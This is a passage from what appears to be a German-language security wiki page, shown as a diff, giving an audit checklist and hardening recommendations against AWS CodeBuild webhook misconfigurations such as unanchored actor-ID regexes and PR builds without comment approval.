+ +## Schnelle Audit-Checkliste +```bash +# Enumerate projects +aws codebuild list-projects + +# Inspect source/webhook configuration +aws codebuild batch-get-projects --names + +# Inspect global source credentials configured in account +aws codebuild list-source-credentials +``` +Prüfe jedes Projekt auf: + +- `webhook.filterGroups` die PR-Ereignisse enthalten. +- `ACTOR_ACCOUNT_ID`-Muster, die nicht mit `^...$` verankert sind. +- `pullRequestBuildPolicy.requiresCommentApproval` gleich `DISABLED`. +- Fehlende Branch-/Pfad-Einschränkungen. +- `serviceRole` mit hohen Rechten. +- Riskanter Umfang und Wiederverwendung von source credentials. + +## Härtungsempfehlungen + +1. Erfordern Sie Kommentarfreigabe für PR-Builds (`ALL_PULL_REQUESTS` oder `FORK_PULL_REQUESTS`). +2. Wenn actor allowlists verwendet werden, verankern Sie die Regexes und halten Sie sie exakt. +3. Fügen Sie `FILE_PATH`-Einschränkungen hinzu, um nicht vertrauenswürdige Änderungen an `buildspec.yml` und CI-Skripten zu verhindern. +4. Trennen Sie vertrauenswürdige Release-Builds von nicht vertrauenswürdigen PR-Builds in unterschiedliche Projekte/Rollen. +5. Verwenden Sie fein granulare, least-privileged source-provider-Tokens (vorzugsweise dedizierte Identitäten mit geringen Rechten). +6. Überprüfen Sie kontinuierlich Webhook-Filter und die Nutzung von source credentials. + +## Referenzen + +- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html) +- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html) +- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html) + +{{#include ../../../../banners/hacktricks-training.md}}